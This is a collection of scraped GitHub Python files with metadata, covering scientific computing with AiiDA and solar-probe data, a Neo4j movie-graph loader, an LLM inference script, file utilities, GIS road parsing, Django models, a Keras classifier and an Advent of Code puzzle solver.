+{"seq_id":"8126132874","text":"# -*- coding: utf-8 -*-\n\"\"\"fixtures\"\"\"\nimport os\n\nimport pytest\nfrom aiida import orm\nfrom aiida.plugins import DataFactory\n\npytest_plugins = [\"aiida.manage.tests.pytest_fixtures\"]\n\n# Directory where to store outputs for known inputs (usually tests/data)\nDATA_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"data\")\nSTATIC_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"_static\")\n\n\n@pytest.fixture(scope=\"function\")\ndef psp_Si_SG15():\n    \"\"\"\n    Create a aiida-pseudo pp data of sg15 silicon\n    \"\"\"\n    UpfData = DataFactory(\"pseudo.upf\")\n\n    pp_name = \"Si_ONCV_PBE-1.2.upf\"\n    pp_path = os.path.join(STATIC_DIR, pp_name)\n\n    with open(pp_path, \"rb\") as stream:\n        pseudo = UpfData(stream)\n\n    yield pseudo\n\n\n@pytest.fixture(scope=\"function\")\ndef pw_code(aiida_localhost):\n    aiida_localhost.set_use_double_quotes(True)\n    engine_command = \"\"\"singularity exec --bind $PWD:$PWD {image_name}\"\"\"\n    code = orm.ContainerizedCode(\n        default_calc_job_plugin=\"quantumespresso.pw\",\n        filepath_executable=\"pw.x\",\n        engine_command=engine_command,\n        image_name=\"docker://containers4hpc/qe-mpich314:0.1.0\",\n        computer=aiida_localhost,\n    ).store()\n\n    yield code\n\n\n@pytest.fixture(scope=\"function\")\ndef ph_code(aiida_localhost):\n    aiida_localhost.set_use_double_quotes(True)\n    engine_command = \"\"\"singularity exec --bind $PWD:$PWD {image_name}\"\"\"\n    code = orm.ContainerizedCode(\n        default_calc_job_plugin=\"quantumespresso.ph\",\n        filepath_executable=\"ph.x\",\n        engine_command=engine_command,\n        image_name=\"docker://containers4hpc/qe-mpich314:0.1.0\",\n        computer=aiida_localhost,\n    ).store()\n\n    yield code\n","repo_name":"aiidateam/aiida-sssp-workflow","sub_path":"test_bak/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"70368178963","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jul 13 15:52:16 2020\r\n\r\n@author: Sohom\r\n\"\"\"\r\n\r\n\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport julian\r\nimport datetime \r\nimport numpy as np\r\n\r\nvel_df=pd.read_csv('PSP_SPC_1sec_Hampel20181031_20181219.csv')\r\nmag_df=pd.read_csv('PSP_MAG_1sec20181006_20181219.csv')\r\n\r\njt_arr=vel_df.iloc[:,0].values\r\n\r\nvr_arr=vel_df.iloc[:,3].values\r\nvt_arr=vel_df.iloc[:,4].values\r\nvn_arr=vel_df.iloc[:,5].values\r\n\r\njt_arr_mag=mag_df.iloc[:,0].values\r\nbr_arr=mag_df.iloc[:,1].values\r\nbt_arr=mag_df.iloc[:,2].values\r\nbn_arr=mag_df.iloc[:,3].values\r\n\r\nt=pd.date_range('11/4/2018','11/7/2018',freq='S')\r\n\r\nstart_jd=julian.to_jd(datetime.datetime(2018,11,4,0,0,0,0),fmt='jd')\r\nend_jd=julian.to_jd(datetime.datetime(2018,11,7,0,0,0,0),fmt='jd')\r\n\r\nstart_index=np.abs(jt_arr-start_jd).argmin()\r\nend_index=np.abs(jt_arr-end_jd).argmin()\r\n\r\nbr_arr_slice=br_arr[start_index-1:end_index]\r\nbn_arr_slice=bn_arr[start_index-1:end_index]\r\nbt_arr_slice=bt_arr[start_index-1:end_index]\r\n\r\ndata_rr=pd.Series(br_arr_slice,t)\r\ndata_nn=pd.Series(bn_arr_slice,t)\r\ndata_tt=pd.Series(bt_arr_slice,t)\r\n\r\nmean_rr=data_rr['2018-11-05 00:00:00':'2018-11-06 00:00:00'].rolling(3600).mean()\r\nmean_nn=data_nn['2018-11-05 00:00:00':'2018-11-06 00:00:00'].rolling(3600).mean()\r\nmean_tt=data_tt['2018-11-05 00:00:00':'2018-11-06 00:00:00'].rolling(3600).mean()\r\n\r\ndelta_data_rr=data_rr-mean_rr\r\ndelta_data_nn=data_nn-mean_nn\r\ndelta_data_tt=data_tt-mean_tt\r\n\r\ncorr_arr=np.zeros(10000)\r\n\r\nfor i in range(10000):\r\n    corr_arr[i]=(delta_data_rr.autocorr(lag=i)+delta_data_nn.autocorr(lag=i)+delta_data_tt.autocorr(lag=i))/3\r\n    \r\n    \r\nplt.figure(figsize=(20,12))\r\nplt.plot(corr_arr)    \r\nplt.show()\r\n\r\n","repo_name":"dev-sroy/vKsimilarity_ACE","sub_path":"corr_time.py","file_name":"corr_time.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24360799358","text":"import pandas as pd\nfrom py2neo import Graph, Relationship, Node\nimport re\n\nclass To_db:\n    def __init__(self):\n        self.graph = Graph('http://localhost:7474',\n                           username='neo4j',\n                           password='liaobowen421')\n\n    def run(self,cypher):\n        self.graph.run(cypher)\n\n    def convert_person(self):\n        with open('data/person.txt', 'r', encoding='utf-8') as f:\n            data = pd.read_csv(f)\n            data['birth'] = data['birth'].apply(lambda x: {r'\\N':\"UNK\"}.get(x, x))\n            data['death'] = data['death'].apply(lambda x: {r'\\N':\"UNK\"}.get(x, x))\n            data['biography'] = data['biography'].apply(lambda x: {r'\\N':\"UNK\"}.get(x, x))\n            data['birthplace'] = data['birthplace'].apply(lambda x: {r'\\N':\"UNK\"}.get(x, x))\n            print(data)\n\n            data.to_csv('data/person.csv')\n\n            for meg in data.itertuples():\n                self.run('merge (n:Person{name:\"%s\", birth:\"%s\", pid:\"%s\", biography:\"%s\", birthplace:\"%s\", death:\"%s\"})'%(meg.name,\n                                                                                                                meg.birth,\n                                                                                                                meg.pid,\n                                                                                                                meg.biography,\n                                                                                                                meg.birthplace,\n                                                                                                                meg.death))\n\n\n    def convert_genre(self):\n        with open('data/genre.txt', 'r', encoding='utf-8') as f:\n            data = pd.read_csv(f)\n            data.to_csv('data/penre.csv')\n            for msg in data.itertuples():\n                self.run('merge (n:Genre{gid:\"%s\", name:\"%s\"})'%(msg.gid, msg.gname))\n\n\n    def convert_movies(self):\n        with open('data/movie.txt', 'r', encoding='utf-8') as f:\n            data = pd.read_csv(f,names=['mid','title','introduction','rating','releasedate','5','6','7','8','9','10','11'], header=0)\n            data.drop(['5','6','7','8','9','10','11'], axis=1,inplace=True)\n            data['introduction'].fillna('UNK',inplace=True)\n            data['rating'].fillna(0,inplace=True)\n            data['rating'] = data['rating'].apply(float)\n            data['releasedate'].fillna('UNK',inplace=True)\n\n            data['introduction'] = data['introduction'].apply(lambda x: re.sub(r'[\\'\\\"bfnrt\\\\]', '', x))\n            data['releasedate'] = data['releasedate'].apply(lambda x: re.sub(r'[\\'\\\"bfnrt\\\\]', '', x))\n\n            data.to_csv('data/movie.csv')\n\n            for msg in data.itertuples():\n                self.run('merge (n:Movie{mid:\"%s\", title:\"%s\", introduction:\"%s\", rating:\"%s\", releasedate:\"%s\"})'%(msg.mid,\n                                                                                                                    msg.title,\n                                                                                                                    msg.introduction,\n                                                                                                                    msg.rating,\n                                                                                                                    msg.releasedate))\n\n    def convert_person_to_movie(self):\n        with open('data/person_to_movie.txt', 'r', encoding='utf-8') as f:\n            data = pd.read_csv(f)\n        data.to_csv('data/person_to_movie.csv')\n\n        for meg in data.itertuples():\n            self.run('match (n:Person{pid:\"%s\"}), (m:Movie{mid:\"%s\"}) merge (n)-[r:acted{pid:\"%s\", mid:\"%s\"}]-(m)'%(meg.pid, meg.mid, meg.pid, meg.mid))\n\n\n    def convert_movie_person(self):\n        with open('data/movie_to_genre.txt','r', encoding='utf-8') as f:\n            data = pd.read_csv(f)\n        data.to_csv('data/movie_to_person.csv')\n\n        for meg in data.itertuples():\n            self.run('match (g:Genre{gid:\"%s\"}), (m:Movie{mid:\"%s\"}) merge (m)-[r:is{mid:\"%s\", gid:\"%s\"}]-(g)'%(meg.gid, meg.mid, meg.mid, meg.gid))\n\n\nif __name__ == '__main__':\n    to_db = To_db()\n    to_db.convert_person()\n    to_db.convert_genre()\n    to_db.convert_movies()\n    to_db.convert_person_to_movie()\n    to_db.convert_movie_person()","repo_name":"LiaoBoWen/MyProject","sub_path":"Leaning/NLP_project/knowledge_graph/Movie_KBQA/convert_neo4j.py","file_name":"convert_neo4j.py","file_ext":"py","file_size_in_byte":4411,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"18446834281","text":"#a python script for inference on a single example using LlAMA model\nimport argparse\nimport torch\nimport transformers\nfrom transformers import AutoTokenizer, AutoModelForCausalLM\n\ndevice = \"cuda:0\" if torch.cuda.is_available() else \"cpu\"\n\n\nfalcon_prompt = \"User: {input_sentence}\\nAssistant:\"\n\n\ndef run_inference(input_sentence, tokenizer, pipeline):\n    # get output of the LlaMa from input sentence\n\n    sequences = pipeline(\n        falcon_prompt.format(input_sentence=input_sentence),\n        max_length=200,\n        do_sample=True,\n        top_k=10,\n        num_return_sequences=1,\n        eos_token_id=tokenizer.eos_token_id,\n    )\n\n    return sequences[0][\"generated_text\"]\n\ndef load_model(model_path):\n\n    print(f'Load model using Device \"{device}\" from path \"{model_path}\".')\n\n    tokenizer = AutoTokenizer.from_pretrained(model_path)\n    pipeline = transformers.pipeline(\n        \"text-generation\",\n        model=model_path,\n        tokenizer=tokenizer,\n        torch_dtype=torch.bfloat16,\n        trust_remote_code=True,\n        device_map=device,\n    )\n    return tokenizer, pipeline\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--input_model\", type=str, required=True)\n    arg = parser.parse_args()\n    tokenizer, pipeline = load_model(arg.input_model)\n\n    print(\"Enter a sentence to generate your response. Enter 'exit' to exit.\")\n    previouses = []\n    while True:\n        input_sentence = input(\"Enter a sentence: \")\n        if input_sentence == \"exit\":\n            break\n        run_inference(input_sentence,tokenizer,pipeline)\n\n\n\n\n\n\n","repo_name":"chatnoir-eu/chatnoir-chat","sub_path":"llms/Falcon-models/run_inference.py","file_name":"run_inference.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"22672934644","text":"import os \nimport glob \nimport zipfile\nfrom tqdm import tqdm \n\nclass Unzip():\n    def __init__(self, directory):\n        self.directory = directory \n        self.filenames = glob.glob(f\"{directory}/**\")\n        self.zipfilenames = glob.glob(f\"{directory}/**.zip\")\n        self.extracted_files = [f for f in self.filenames if f not in self.zipfilenames]\n        # print(self.zipfilenames)\n\n    def unzip(self): \n        for f in tqdm(self.filenames): \n            with zipfile.ZipFile(f , 'r') as zip_ref:\n                zip_ref.extractall(self.directory)\n\n        print(\"Finished unzipping all files!\")\n        return \n\n    def delete(self): \n        for f in tqdm(self.filenames): \n            os.remove(f)\n\n        return   \n\n    def unzip_and_delete(self): \n        # Delete folder if it exists \n        for f in tqdm(self.zipfilenames): \n            \n\n            if f in self.extracted_files: \n                os.remove(f) \n\n            else: \n                try: \n                    with zipfile.ZipFile(f , 'r') as zip_ref:\n                        zip_ref.extractall(self.directory)\n                    os.remove(f)\n                except: \n                    pass \n\n        print(\"Finished extracting all files\")\n            \n  \n\nif __name__ == \"__main__\": \n    unzipper = Unzip(\"/home/munfai98/Documents/NationalSpeechCorpus/part1/data/train/channel0/wave\")\n    unzipper.unzip_and_delete()","repo_name":"ChanMunFai/Whisper_SG","sub_path":"data_cleaning/unzip_nsc.py","file_name":"unzip_nsc.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25915595140","text":"'''\nfile: road.py\n\nget hierachically roads/lanes specified in ESRI folder.\n\nauthor: Xueman Mou\ndate: 2018/3/22\nversion: 1.0.0\nmodified: 2018/3/22 09:45:00 GMT+800\n\ndeveloping env: python 3.5.2\ndependencies: pyshp, pyproj\n'''\n\nimport os\nimport sys\nimport shapefile\nimport pyproj\n\nclass Road(object):\n\tdef __init__(self, ID, MeshID, Owner, SHNodeID, EHNodeID, HRLength, HRType, direction, LaneNumSE, LaneNumES, InnerCJ, LCJID, LEDGEID):\n\t\tself.roadID = ID\n\t\tself.meshID = MeshID\n\t\tself.owner = Owner\n\t\tself.startRoadNodeID = SHNodeID\n\t\tself.endRoadNodeID = EHNodeID\n\t\tself.length = HRLength\n\t\tself.type = HRType\n\t\tself.direction = direction\n\t\tself.laneNumSE = LaneNumSE\n\t\tself.laneNumES = LaneNumES # valid when direction = 1 (bi-direcional)\n\t\tself.innerCJ = InnerCJ\n\t\tself.junctionID = LCJID\t# valid when innerCJ = 2\n\t\tself.LEDGEID = LEDGEID # ? what it means\n\n\tdef __repr__(self):\n\t\treturn '''roadID\\t\\t{}\\nmeshID\\t\\t{}\\nowner\\t\\t{}\\nstartRoadNode\\t{}\\nendRoadNode\\t{}\\nlength\\t\\t{}\\ntype\\t\\t{}\\ndirection\\t{}\\nlaneNumSE\\t{}\\nlaneNumES\\t{}\\ninnerCJ\\t\\t{}\\njunctionID\\t{}\\nLEDGEID\\t\\t{}\\n'''.format(\n\t\t\t\tself.roadID,\n\t\t\t\tself.meshID,\n\t\t\t\tself.owner,\n\t\t\t\tself.startRoadNodeID,\n\t\t\t\tself.endRoadNodeID,\n\t\t\t\tself.length,\n\t\t\t\tself.type,\n\t\t\t\tself.direction,\n\t\t\t\tself.laneNumSE,\n\t\t\t\tself.laneNumES,\n\t\t\t\tself.innerCJ,\n\t\t\t\tself.junctionID,\n\t\t\t\tself.LEDGEID\n\t\t\t)\n\nclass RoadNode(object):\n\tdef __init__(self, HNodeID, MeshID, Owner, LHNodeID, LMeshID, LHRoadID, LJCID, CJHNFlag, LCJID, SSFlag, SSType, MergeFlag, SplitFlag):\n\t\tself.roadNodeID = HNodeID\n\t\tself.meshID = MeshID\n\t\tself.Owner = Owner\n\t\tself.LHNodeID = LHNodeID\n\t\tself.LMeshID = LMeshID\n\t\tself.LHRoadID = LHRoadID # 关联道路基准线编号序列 i.e., 该点出现在以下道路中:xxx－xxx－xxx\n\t\tself.LJCID = LJCID # 关联基础数据连接点编号 当道路基准线连接点有对应的传统二维基础数据道路连接点时，该字段有效\n\t\tself.isInJunction = CJHNFlag # 路口内道路基准线连接点标识 1否 2是\n\t\tself.junctionID = LCJID # valid if CJHNFlag == 2 \n\t\tself.SSFlag = SSFlag # 特殊结构出入口 1否 2是\n\t\tself.SSType = SSType # valid if SSFlag == 2\n\t\tself.mergeFlag = MergeFlag # 合流点标识 1否 2是\n\t\tself.splitFlag = SplitFlag # 分流点标识 1否 2是\n\nclass roadNetwork(object):\n\tdef __init__(self):\n\t\tself.vertices = []\n\t\tself.adjList = {}\n\n\tdef __repr__(self):\n\t\tgraph = ''\n\t\tfor nodeID in self.adjList:\n\t\t\tfor nextID in self.adjList[nodeID]:\n\t\t\t\tgraph += '%d - %d\\n' % (nodeID, nextID)\n\n\t\treturn graph\n\n\tdef addRoad(self, road):\n\t\t\n\t\tstartNode = road.startRoadNodeID\n\t\tendNode = road.endRoadNodeID\n\n\t\tif startNode not in self.vertices:\n\t\t\tself.vertices.append(startNode)\n\t\tif endNode not in self.vertices:\n\t\t\tself.vertices.append(endNode)\n\n\t\tif road.direction == 3: \n\t\t\t# traffic flow is not of the same direction as vector startNode -> endNode\n\t\t\ttmp = startNode\n\t\t\tstartNode = endNode\n\t\t\tendNode = tmp\n\n\t\tif not startNode in self.adjList:\n\t\t\tself.adjList[startNode] = [endNode]\n\t\telse:\n\t\t\tself.adjList[startNode].append(endNode)\n\n\t\tif road.direction == 1:\n\t\t\tif not endNode in self.adjList:\n\t\t\t\tself.adjList[endNode] = [startNode]\n\t\t\telse:\n\t\t\t\tself.adjList[endNode].append(startNode)\n\ndef readRoads(filepath):\n\t\n\troads = []\n\tsf = shapefile.Reader(filepath)\n\n\tfor index, sr in enumerate(sf.shapeRecords()):\n\t\tshape = sr.shape\n\t\trecord = sr.record\n\n\t\tID, MeshID, Owner, SHNodeID, EHNodeID, HRLength, HRType, direction, LaneNumSE, LaneNumES, InnerCJ, LCJID, LEDGEID = record\n\t\troad = Road(ID, MeshID, Owner, SHNodeID, EHNodeID, HRLength, HRType, direction, LaneNumSE, LaneNumES, InnerCJ, LCJID, LEDGEID)\n\t\troads.append(road)\n\n\treturn roads\n\ndef readRoadNodes(filepath):\n\t\n\troadNodes = []\n\tsf = shapefile.Reader(filepath)\n\t\n\tfor index, sr in enumerate(sf.shapeRecords()):\n\t\tshape = sr.shape\n\t\trecord = sr.record\n\n\t\tHNodeID, MeshID, Owner, LHNodeID, LMeshID, LHRoadID, LJCID, CJHNFlag, LCJID, SSFlag, SSType, MergeFlag, SplitFlag = record\n\t\troadNode = RoadNode(HNodeID, MeshID, Owner, LHNodeID, LMeshID, LHRoadID, LJCID, CJHNFlag, LCJID, SSFlag, SSType, MergeFlag, SplitFlag)\n\t\troadNodes.append(roadNode)\n\n\treturn roadNodes\n\ndef buildRoadNetwork(roads, filepath):\n\tnetwork = roadNetwork()\n\tfor road in roads:\n\t\tnetwork.addRoad(road)\n\tprint(network)\n\ndef main():\n\t\n\tpathname = '/Users/mxmcecilia/Documents/WebGL小组/modeling/GIS_PCG/data/EMG_sample_data/EMG_GZ'\n\n\troads = readRoads(os.path.join(pathname, 'HRoad.shp'))\n\tbuildRoadNetwork(roads, os.path.join(pathname, 'HRoadNode.shp'))\n\n\treadRoadNodes(os.path.join(pathname, 'HRoadNode.shp'))\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"snow-orld/GIS_PCG","sub_path":"project/python/ESRI/road.py","file_name":"road.py","file_ext":"py","file_size_in_byte":4589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"11446389205","text":"from django.core.validators import MinValueValidator, RegexValidator\nfrom django.db import models\nfrom django.utils import timezone\n\nimport pytz\n\nSTATUS_CHOICES = (\n    ('ready', 'Ready to send'),\n    ('sent', 'Sent'),\n    ('failed', 'Failed to send'),\n    ('not_sent', 'Not sent'),\n)\nTIMEZONES_CHOICES = tuple(zip(pytz.common_timezones, pytz.common_timezones))\n\n\nclass Mailing(models.Model):\n    start_datetime = models.DateTimeField(\n        verbose_name='Start of mailing',\n        db_index=True,\n        validators=[MinValueValidator(limit_value=timezone.now(),\n                                      message=(f'Mailing start cannot be '\n                                               f'in the past'))]\n    )\n    text = models.CharField(\n        max_length=300\n    )\n    tag = models.CharField(\n        max_length=15,\n        blank=True\n    )\n    operator_code = models.CharField(\n        max_length=3,\n        validators=[RegexValidator(regex=r\"^\\d{3}$\",\n                                   message='Enter a 3 digit number',\n                                   code='invalid')],\n        blank=True\n    )\n    end_datetime = models.DateTimeField(\n        verbose_name='Finish of mailing',\n        db_index=True,\n        validators=[MinValueValidator(limit_value=timezone.now(),\n                                      message=(f'Mailing end cannot be '\n                                               f'in the past'))]\n    )\n\n\nclass Client(models.Model):\n    msisdn = models.CharField(\n        max_length=7,\n        validators=[RegexValidator(regex=r\"^\\d{7}$\",\n                                   message=(f'Enter 7 digit number using '\n                                            f'the form 7(123)XXXXXXX'),\n                                   code='invalid')]\n    )\n    operator_code = models.CharField(\n        max_length=3,\n        validators=[RegexValidator(regex=r\"^\\d{3}$\",\n                                   message='Enter a 3 digit number',\n                                   code='invalid')],\n    )\n    tag = models.CharField(\n        max_length=15,\n        blank=True\n    )\n    time_zone = models.CharField(\n        max_length=32,\n        default='UTC',\n        choices=TIMEZONES_CHOICES\n    )\n\n\nclass Message(models.Model):\n    datetime = models.DateTimeField(\n        verbose_name='Creation or sending datetime',\n        auto_now_add=True,\n    )\n    status = models.CharField(\n        max_length=10,\n        choices=STATUS_CHOICES\n    )\n    mailing = models.ForeignKey(\n        Mailing,\n        on_delete=models.CASCADE,\n        related_name='messages'\n    )\n    client = models.ForeignKey(\n        Client,\n        on_delete=models.CASCADE,\n        related_name='messages'\n    )\n","repo_name":"n1ghtowl88/notificatonService","sub_path":"api/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10615682071","text":"# -*- coding: utf-8 -*-\n\"\"\"\n    Created on Wed Jun  1 14:00:46 2020\n    \n    @author: Ghercioglo \"Romeon0\" Roman\n\"\"\"\n\n# TensorFlow and Keras\nimport tensorflow as tf\nfrom tensorflow import keras\n# Helper libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom tensorflow.keras.callbacks import Callback\n\nRANDOM_SEED = 4234233\nnp.random.seed(RANDOM_SEED)\n\n\n\n#Functions ----------------------------------------\ndef Hello():\n    print(\"Hello from ApplicationModel.py script!\")\n\ndef Create():\n    #Create model\n    model = keras.Sequential([\n        keras.layers.Conv1D(input_shape=(28, 28), filters=4, kernel_size=3),\n        tf.keras.layers.AveragePooling1D(pool_size=2,input_shape=(26, 26)),\n        keras.layers.Flatten(),\n        keras.layers.Dense(100, activation='tanh'),\n        keras.layers.Dense(60, activation='tanh'),\n        keras.layers.Dense(26+10)\n    ])  \n    \n    #Compile the model\n    model.compile(optimizer='adam',\n                  loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n                  metrics=['accuracy'])\n    \n    return model\n\n\n\n\nclass StopTrainingCallback(Callback):\n    needStop = False\n    def __init__(self, monitor='val_loss', value=0.00001, verbose=0):\n        super(Callback, self).__init__()\n        self.monitor = monitor\n        self.value = value\n        self.verbose = verbose\n\n    def on_epoch_end(self, epoch, logs={}):\n        #lossValue = logs.get(self.monitor)\n        #print(\"on_epoch_end called....\")\n        if self.needStop == True:\n            self.model.stop_training = True\n\n   \ndef Train(model, train_images, train_labels, epochEndCallback = None, maxEpochs = None, verbose=1):\n    lastCallback = StopTrainingCallback()\n    lastCallback.needStop = False\n    \n    callbacks = None\n    if epochEndCallback is not None:\n        callbacks = [lastCallback,epochEndCallback]\n    else:\n         callbacks = [lastCallback]\n         \n    if maxEpochs is None:\n        maxEpochs = 50\n    model.fit(train_images, train_labels, epochs=maxEpochs,verbose=verbose,callbacks=callbacks)\n    return model\n\ndef StopTrain(model):\n    model.stop_training = True\n    return 1\n    \ndef Test(model, test_images, test_labels):\n    test_loss, test_acc = model.evaluate(test_images,  test_labels, verbose=0)\n    return test_acc\n\ndef Predict_test(model, test_images, test_labels):\n    #Predict\n    #probability_model = tf.keras.Sequential([model, tf.keras.layers.Softmax()])\n    predictions = model.predict(test_images)\n    \n    #Show predicted results\n    nrCorrectPredictions = 0\n    for i in range(1, len(predictions), 1):\n        #print(\"Predicted / correct: \", np.argmax(predictions[i]), test_labels[i]);\n        if np.argmax(predictions[i]) == test_labels[i]:\n            nrCorrectPredictions += 1;\n    #print(\"Correct guessed: \", nrCorrectPredictions, \" / \", len(test_images))\n            \n            \ndef Predict(model, images):\n    #Predict\n    #probability_model = tf.keras.Sequential([model, tf.keras.layers.Softmax()])\n    predictions = model.predict(images)  \n    \n    answer = []\n    #Show predicted results\n    for i in range(0, len(predictions), 1):\n        index = np.argmax(predictions[i])\n        char = None\n        if index <=25:\n            char = chr(ord('A') + index)\n        else:\n            char = chr(ord('0') + index - 26)\n        #print(\"Guessed \", i, \": \", char, \"; Index: \", index)\n        answer.append(char)\n    return answer\n\n\ndef Save(model, filePath):\n    model.save(filePath,overwrite=True)\n\n\ndef Load(filePath):\n    model = tf.keras.models.load_model(filePath,compile=False)\n    #Settings some things before training\n    model.compile(optimizer='adam',\n                  loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n                  metrics=['accuracy'])\n    return model","repo_name":"romeon0/MasterThesis","sub_path":"ApplicationModel.py","file_name":"ApplicationModel.py","file_ext":"py","file_size_in_byte":3800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9347592023","text":"import math\n\ndata = open('input.txt').read().split(\"\\n\")\n# The input is 14 similar instructions, different in three commands, by having different values.\n# z = z/1 or z/26   (5th command)\n# x += unique value (6th command)\n# y += unique value (16th command)\n\"\"\"for instruction in data:\n    command = instruction[0:3]\n    values = instruction[3:].split()\"\"\"\n\n# int(str(W).replace(\", \", \"\").replace(\"[\",\"\").replace(\"]\", \"\"))\nx_add = [12, 11, 14, -6, 15, 12, -9, 14, 14, -5, -9, -5, -2, -7]\nz_div = [1, 1, 1, 26, 1, 1, 26, 1, 1, 26, 26, 26, 26, 26]\ny_add = [4, 10, 12, 14, 6, 16, 1, 7, 8, 11, 8, 3, 1, 8]\n\n\n# eql x, w then eql x, 0 -> not_eql x, w\ndef not_eql(a, b):\n    if a == b:\n        return 0\n    return 1\n\n\ndef first_seven_digits():\n    W_ = '9999999'\n    z_ = 0\n    plausable_w = []\n    w_to_z = {}\n    done = False\n    while not done:\n        dividers = 0\n        for i in range(7):\n            w_ = int(W_[i])\n            if x_add[i] < 0:  # When x_add > 9. x is always 1\n                #x_ = not_eql(z_ % 26 + x_add[i], w_)\n                if z_ % 26 + x_add[i] != w_:\n                    break\n                \"\"\"if x_ == 1:  # Not equal to w. x MUST be equal to w otherwise z continues to explode.\n                    break\"\"\"\n                z_ = math.floor(z_/26)\n                dividers += 1\n            z_ *= 26\n            z_ += w_ + y_add[i]\n        if dividers == 2:\n            plausable_w.append(int(W_))\n            w_to_z[int(W_)] = z_\n        if W_ == '1111111':\n            done = True\n        W_ = str(int(W_) - 1)\n        while W_.__contains__('0'):\n            W_ = str(int(W_) - 1)\n        z_ = 0\n    plausable_w.sort()\n    plausable_w.reverse()\n    return plausable_w, w_to_z\n\n\ndef last_seven_digits(w_start, z_start):\n    W_ = str(w_start) + '9999999'\n    z_ = z_start\n    plausible_w = []\n    w_to_z = {}\n    done = False\n    isCorrect = False\n    lowest_z = z_start\n    while not done:\n        dividers = 0\n        for i in range(7, 14):\n            w_ = int(W_[i])\n            if x_add[i] < 0:  # When x_add > 9. x is always 1\n                x_ = not_eql(z_ % 26 + x_add[i], w_)\n                if x_ == 1:  # Not equal to w. x MUST be equal to w otherwise z continues to explode.\n                    break\n                z_ = math.floor(z_/26)\n                dividers += 1\n            z_ *= 26\n            z_ += w_ + y_add[i]\n        if z_ == 0:\n            isCorrect = True\n            done = True\n            print(\"W = \", W_, \" z = \", z_)\n        if dividers == 5:\n            plausible_w.append(int(W_))\n            w_to_z[int(W_)] = z_\n            if z_ == 0:\n                isCorrect = True\n                done = True\n                print(\"W = \", W_, \" z = \", z_)\n        if W_ == str(w_start) + '1111111':\n            done = True\n            break\n        W_ = str(int(W_) - 1)\n        while W_.__contains__('0'):\n            W_ = str(int(W_) - 1)\n        if z_ < lowest_z:\n            lowest_z = z_\n        z_ = 0\n    plausible_w.sort()\n    plausible_w.reverse()\n    return plausible_w, w_to_z, isCorrect, lowest_z\n\n\nW_first7, w_to_z = first_seven_digits()\nprint(\"First sequence done\")\npossible_initial_z = {}\nruns_left = len(W_first7)\n#for start_sequence in W_first7:\ni = 0\nW_first7.reverse()\nfound_it = False\nwhile not found_it:\n    start_sequence = W_first7[i]\n    initial_z = w_to_z[start_sequence]\n    if possible_initial_z.__contains__(initial_z):\n        if not possible_initial_z[initial_z]:\n            #print(\"Ignored \", start_sequence)\n            continue\n    print(\"Testing start sequence \", start_sequence)\n    print(\"z = \", w_to_z[start_sequence])\n    plausible_w, full_w_to_z, found_it, z_lowest = last_seven_digits(start_sequence, initial_z)\n    runs_left -= 1\n    i += 1\n    \"\"\"if z_lowest > 100:\n        i += 200\"\"\"\n    print(found_it, \"Lowest z: \", z_lowest, \" Runs to go: \", runs_left - i)\n    if not found_it:\n        possible_initial_z[initial_z] = False\n\n\n\n#W = '9,' * 13 + '9'\n#W = [int(x) for x in W.split(\",\")]\n#int(str(W).replace(\", \", \"\").replace(\"[\",\"\").replace(\"]\", \"\"))\nprint(\"done\")\n\n\n\"\"\"W = '99999943472009'\nW3 = [6, 7, 8, 9]\nruns = 0\n# Pattern\nz26 = {}\nwhile True: #runs < 3000000:\n    x, y, z = [0, 0, 0]\n    for i in range(14):\n        w = int(W[i])\n        if x_add[i] < 0:  # When x_add > 9. x is always 1\n            x = not_eql(z % 26 + x_add[i], w)  # z%26 - value != w\n            if x != 0:\n                # z % 26 + value, must always be equal to w to get z down to 0\n                break\n            #z /= 26  # z_div[i]\n        # x is always 1 here\n        #z *= 26  # 25*x + 1\n        # y = w + y_add[i]  # *x\n        z += w + y_add[i]  # 26*z_old + w + offset\n        # z = 26z + w + offset value\n    if z == 0:\n        break\n    #runs += 1\n    W = str(int(W) - 1)\nprint(\"W: \", W)\nprint(\"z: \", z)\"\"\"\n","repo_name":"SIITON/advent_of_code","sub_path":"2021/day24/day_24_new.py","file_name":"day_24_new.py","file_ext":"py","file_size_in_byte":4799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
